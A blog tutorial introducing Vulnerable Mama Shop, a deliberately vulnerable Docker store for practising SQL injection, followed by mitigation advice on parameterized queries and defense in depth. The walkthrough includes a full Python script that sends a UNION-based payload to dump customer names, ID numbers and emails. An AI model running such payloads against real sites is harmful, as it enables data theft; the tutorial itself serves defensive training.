Night Hour

Learning SQL Injection using Vulnerable Mama Shop

We are just an advanced breed of monkeys on a minor planet of a very average star. But we can understand the Universe. That makes us something very special. , Stephen Hawking


12 May 2018

Introduction

Injection attack is on the OWASP Top 10 list for many years and SQL Injection is a common injection technique used for attacking websites and web applications. Applications that do not cleanly separate user input from database commands are at risk of malicious input being executed as SQL commands. This often lead to an entire application being taken over, sensitive data being stolen, malicious malware being planted or a web defacement.

This article introduces a simple learning tool, Vulnerable Mama Shop (VMS), that can help security professionals, penetration testers, developers and IT professionals to learn about SQL Injection. By knowing how SQL injection works, defenders can better protect critical web assets. Vulnerable Mama Shop(VMS) is a docker application that runs Apache2 Httpd, Php and MariaDB. It is a simple online store that contains a SQL injection vulnerability. Its simplicity makes it easy to learn SQL injection.

Building and running the Docker Image

Vulnerable Mama Shop is packaged using Docker although the application itself can be run on any LAMP stack. This section shows how to build the docker image from the source code at Github. VMS is released under MIT license. It does uses external components: Bootstrap 4 and gosu binary. These are released under their own individual licenses, MIT and GPLv3 respectively. The source code and Dockerfile for the Mama shop is available at https://github.com/ngchianglin/VulnerableMamaShop.

Clone a copy of the source code into your local computer or download the source as a zip file.

Change into the source directory and build the docker image. It is assumed that your computer is running a version of linux and already has docker installed. Refer to https://docs.docker.com/install/ for instructions on installing docker. The author's system is running Ubuntu Xenial 16.04 LTS with the latest Docker CE in a virtual machine.

Verify that the docker image has been built and saved on the local docker repository.

A mamashop image should be listed. The docker image can be run either interactively or in the detached mode. The apache2 httpd listens on port 80 and the docker image exposes this port. Map this to a specific port on the host computer where Vulnerable Mama Shop should be accessible. For example, the following command runs VMS iteratively, making it available at port 8000 on the local host.

The following shows the docker image running in interactive mode. The docker application outputs some start up messages that can be useful for troubleshooting issues.

The docker image can also be run in detached mode using the following command. In this case, some of the startup messages will not be available. Mama Shop's database will be reinitialized each time the docker image is started.

Accessing Mama Shop and Setting up ZAP

This section will run through SQL injection using the Vulnerable Mama Shop docker application. A little disclaimer and reminder before the run-through. The tutorial here is for educational purposes and meant to help IT defenders. It should not be misused for malicious purposes.

The Mama shop application can be accessed through either http://localhost:[port] or http://[ip address]:[port] depending on your system setup and the port that is mapped when running the docker image. For the author's case, docker is in a virtual machine, and access is through the ip address of the virtual machine.

The following shows the main page of the Vulnerable Mama Shop.

A proxy tool like Blurp suite or OWASP ZAP is required to intercept and modify the request to the application. In this article, OWASP ZAP will be used. A copy of OWASP ZAP can be obtained from OWASP ZAP Project. Just like Blurp suite, ZAP is a java application and requires a java runtime.

Go to the web browser proxy configuration setting. Set it to proxy requests through the port that ZAP is listening on (default 8080). The following screenshot shows the proxy configuration for firefox web browser.

Start up ZAP and then access Mama Shop again. The traffic will be proxied through the ZAP proxy. The following screenshot shows this

Notice that the default context for ZAP has been deleted and a new MamaShop context is created. The MamaShop application is set to be in the scope for the MamaShop context. Any other sites or urls should not be in the scope of testing. This is particularly important during penetration testing engagements; attacking the wrong sites or applications where you don't have permission to test can be considered a crime.

Refer to ZAP documentation for details on how to configure a context, set up the proper scope etc... This article will not go through all this. It will focus on the SQL injection practice.

Practicing SQL Injection using Vulnerable Mama Shop

One of the first step when testing a web application is to understand what it does and map out its pages and functionalities. Mama Shop is very simple with only 3 pages. The main page (shown earlier) where a user can query items for sale through a drop down box, a customer login page and an about page. Play around with these 3 pages to see what each does and how each page works normally.

Try submitting a category and see how items are listed. The following shows listing of items from the snack category.

Try testing the customer login functionality perhaps by using a non existent user.

The about page doesn't seem to have any interactive component where a user can enter input. That probably leaves the main page and the login page as potential avenues where malicious input can be entered. Note that the ZAP proxy has captured the earlier traffic when accessing these two pages. The screenshot below shows the category submission captured by the ZAP proxy.

The ZAP capture shows that to browse items in a category, a url encoded HTTP POST with a single parameter catid is sent to welcome.php. To test for SQL injection, it is common to modify user input and send a single quotation mark like this

If the user input is simply appended into a SQL query string without validation, it will cause a syntax error which may be shown on the webpage. Alternatively a text like the following can be used.

Note that there is a space after the "-- ". Some databases like Mariadb, MySQL requires a space after the "--". Let's start with this longer text and see how the Vulnerable Mama Shop reacts.

Go to the ZAP proxy and configure a break point on the welcome.php url to enable ZAP interception. On the browser submit a category again, ZAP should intercept this request. Change the value of the catid parameter in the request that ZAP has intercepted to the text shown above.

Let the request through. Mama Shop response should contain a SQL error message. Let the intercepted response pass through to the browser.

It is obvious now that welcome.php function for displaying category items have a SQL injection vulnerability. The error message also tells us the database is MariaDB. So why did the injected text cause an error ? The error message indicates that there is a syntax issue near "or 1 = 1". Using our imagination here would be helpful, we can imagine and think of how the developer would write the query for listing category items without refering to Mama Shop source code. Perhaps it can be something like this

[category_id] is the numeric value in a normal request. Assume we are right and the query is as above, then the earlier modified input of ' or 1 = 1 ; -- will become

This will cause an error due to a missing closing quote. To prevent the error, the input can be changed to

Note, the '' represents two single quotes. It is not a single double quote. Let's try it out again with this input and see if the same error message occurred. This time the request should be successful and you should get items like this

The structure of the assumed SQL query is probably correct, although it is not necessarily the exact query that the developer has used. This is sufficient for devasting attacks such as dumping customer information. The customer login page tells us that the application contains customer data and this is likely stored in some sort of customer or user table.

From this point onwards, it is just a matter of systematically gathering information about the database, such as which tables are available, the columns in each table and finally dumping out the customers listing. We can make of the MariaDB INFORMATION_SCHEMA and the SQL Union operator to do this.

First to get the database name, we can use the following input for category id

The following shows the response from Vulnerable Mama Shop containing the database name, appdb.

Using this database name, we can obtain the tables in the database using the following input.

Although not shown here, the response from Vulnerable Mama Shop should contain a table called users. This is probably the table holding all the customer details. To see the columns available in this table, the following input can be used.

Wow, nric, firstname, password, emails are all available from the "users" table. Finally we have gathered enough information to dump out a customer listing. The following input can be used to dump out a listing of users with their firstname, nric and email address.

The following screenshot shows a customers list dumped out from Vulnerable Mama Shop.

The values for the LIMIT and offset can be worked out by observing how many item entries there are in a normal request. The offset value should remove these items. The LIMIT can be set a sufficiently large value so that customer records can be dumped out.

ZAP has a Manual Request Editor that can be used to resend request and obtain the response. This is just like the Repeater in Burpsuite and can be useful for manually testing out the required input to get the output that you want. For those who are looking for a quick way to exploit Mama Shop, the following python3 script can be used to send a SQL injection payload to dump out the customer details in Vulnerable Mama Shop.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78

#!/usr/bin/python3
#
# Simple Python Script to exploit SQL injection 
# on the Vulnerable Mama Shop and dump out customer details
# Vulnerable Mama Shop is a simple application running on
# LAMP stack in a docker container for learning about
# SQL Injection 
# 
# Usage: python3 sql-inject [host:port]
# 
# Disclaimer and Warning
# ---------------------
# Computer misuse is a serious crime in Singapore and other countries, punishable by law.
# The source code and instructions provided here are for educational purposes only; 
# meant to help IT defenders understand about SQL Injection vulnerabilities and better 
# defend their systems and applications. It should not be misused for any other purposes. 
#
#  Copyright (c) 2018 Ng Chiang Lin
# 
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
# 
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
# 
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
#
# 

import sys
from socket import *

payload="catid=1000+union+select+firstname%2C+nric%2C+email+from+users+LIMIT+7%2C+100"



if __name__ == "__main__" :
   if len(sys.argv) != 2:
      print("Usage: python3 " , sys.argv[0] , "[host:port]")
      sys.exit(1)

   parts = sys.argv[1]
   parts = parts.split(":")

   if len(parts) != 2:
      print("Invalid host:port format")
      sys.exit(1)

   host = parts[0]
   port = parts[1]
   port = int(port)

   sdata =("POST /welcome.php HTTP/1.1\r\n" +
           "User-Agent: Python3 Socket\r\n" +
           "Content-Type: application/x-www-form-urlencoded\r\n" +
           "Content-Length: " + str(len(payload)) + "\r\n" +
           "Host: " + host + ":" + str(port) + "\r\n\r\n" +
           payload)


   sock = socket(AF_INET, SOCK_STREAM)
   sock.connect((host, port))

   sock.sendall(sdata.encode('utf-8'))
   content = sock.recv(8192)
   sock.close()

print(content.decode('utf-8'))

The python script uses the low level python socket and will send its output to the console. It can be run like this

[ip address] is where Vulnerable Mama Shop is running and [port] is where docker has mapped the exposed Mama Shop container port to. The source code for the python script is in the Github repository for Vulnerable Mama Shop.

SQL Injection is a high risk vulnerability with serious consequences. It needs to be addressed quickly to prevent a major incident that can adversely affect a business.

Mitigating SQL Injection

SQL injection occurs when unvalidated user input is mixed with SQL instructions, resulting in attackers being able to enter malicious SQL commands. The most straight forward and effective way to resolve SQL injections is to strictly separate input data from SQL instructions.

Many databases offered such functionalities. It is widely known as parameterized query, bind parameters or prepared statements. Using parameterized query, place holders are inserted into SQL instruction where data input is expected. These place holders tell the database that the input here is not to be treated as SQL instructions. When the query is executed, user supplied data is then placed into these place holders.

Even if an attacker supplied malicious SQL instructions as input, the database knows to treat these as pure data and not SQL instructions. This prevents the injection from succeeding. In case the underlying database implementation has some flaws, it is always a good practice to validate untrusted user input. For example, Mama Shop can validate that the category id is a number before passing the value through a parameterized query to the database. Since the number of categories are fixed, Mama Shop can alternatively use a whitelist of 1000, 1001, 1002 and 1003 to validate category id. Any other values are rejected.

The customer login page of the Vulnerable Mama Shop uses parameterized query and this help ensures that it doesn't suffer from SQL injection; unless there are flaws in the underlying database implementation. In highly critical applications, Defense in depth should be adopted and untrusted input should always be validated.

The following shows the code snippet for the Customer Login page.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

    $dsn = "mysql:host=$host;dbname=$db;charset=$charset";
    $opt = [
        PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
        PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
        PDO::ATTR_EMULATE_PREPARES   => false
    ];
    
    $pdo = null;
    
    try
    {
       $pdo = new PDO($dsn, $user, $pass, $opt); 
       $stmt = $pdo->prepare('SELECT * FROM users where email=? and password=?');
       $stmt->execute([$email, $password]);
       $result = $stmt->fetch();
       
       if($result)
       {
           $validate=true; 
       }
     
       
    }
    catch(PDOException $e)
    {
       echo $e->getMessage();
    }

Notice that the code uses parameterized query where the email and password values are replaced by a ? place holder in the prepared statement. The actual untrusted user input are passed in separately when executing the query. This ensures a clean separation between SQL instructions and input data, preventing injection attacks. The code uses PDO to access the database. The PDO::ATTR_EMULATE_PREPARES => false option tells PDO to use the native database prepared statement instead of its own emulation.

There is a mistake here though, the error message from a PDO exception is output to the user browser. Such messages can contain sensitive information and should not be displayed to end users. Rather such messages should be logged and monitored by the IT and Security team.

Some applications use a Object Relational Management (ORM) layer to access databases. ORM that is used properly can reduce the risk of SQL injection but it is not 100% foolproof. Defense in depth needs to be followed and untrusted input validated. OWASP has a article on SQL injection for Hibernate, a java ORM. CAPEC has a document on ORM Injection as well. In general use ORM carefully and practice Defense in depth, validate untrusted inputs.

Defense in Depth

While the most straight forward way to prevent SQL injection is the use of proper use of parameterized query, for real way production systems, defense in depth is always recommended. This means validating all untrusted user input, applying the least privilege principle and restrict the access rights to the database, running the database under a normal user account with no root privileges, hardening the database and the operating systems etc...

It is also important to monitor the database and audit the access and queries. Products such as database firewall can provide an additional layer of protection, blocking sql attacks at the data access layer. Such solutions can be used as an addition to web application firewalls (WAFs) which attempt to block attacks at the web application layer.

Encryption should be used for data at rest and data in transit. Data tokenization and masking can be used in specific use cases, such as preparting data for internal test environment. Encryption of data in use is a topic that is quite interesting. This is different from tokenization and masking, the technical term is Homomorphic Encryption.

Homomorphic Encryption allows encrypted ciphertext to be processed directly. This solves a weak link in data security, where data can be encrypted at rest, encrypted in transit but has to be decrypted when being processed. This is a area to watch, particularly in the era of cloud computing, where computing machines are not owned and controlled directly by customers.

Other techniques such as the use of secure enclaves, trusted execution environments can also help to secure data in use but these don't process encrypted data directly as in the case of Homomorphic Encryption.

Flat file CMS and Static Generator

An interesting development is that there are applications that attempt to get rid of SQL Injection by using flat files. This reduces the attack surface and also improve performance. Some of such applications are flat-file CMS (Content Management System). An example is Grav, which can be useful for websites that mainly serve static articles, blogs or news postings.

While flat file CMS still rely on some dynamic scripts for routing request and templating, static site generators go even further by generating static pages that can be served directly. Jekyll is a static site generator that convert text content into html pages and blogs. Static generator can reduce attack surface even further since there are no dynamic scripts required at all.

This website, nighthour.sg, mainly uses static content. The article you are reading is served statically. Dynamic scripts such as contact form, captcha protection and backend databases are uesd only when necessary. This improves security, enables better performance and conserves computing resources. In a world where the climate is warming rapidly, small steps to conserve resources can add up to help our environment.

Conclusion and Afterthought

This article introduces Vulnerable Mama Shop, a simple application based on LAMP stack that can be used to learn and practice SQL injection. The purpose of learning about offensive techniques is to enable defenders and security professionals to protect the confidentiality, the integrity and availability of critical information assets.

I hope that the SQL injection tutorial and information here will be helpful to IT defenders and that you have fun playing with Vulnerable Mama Shop.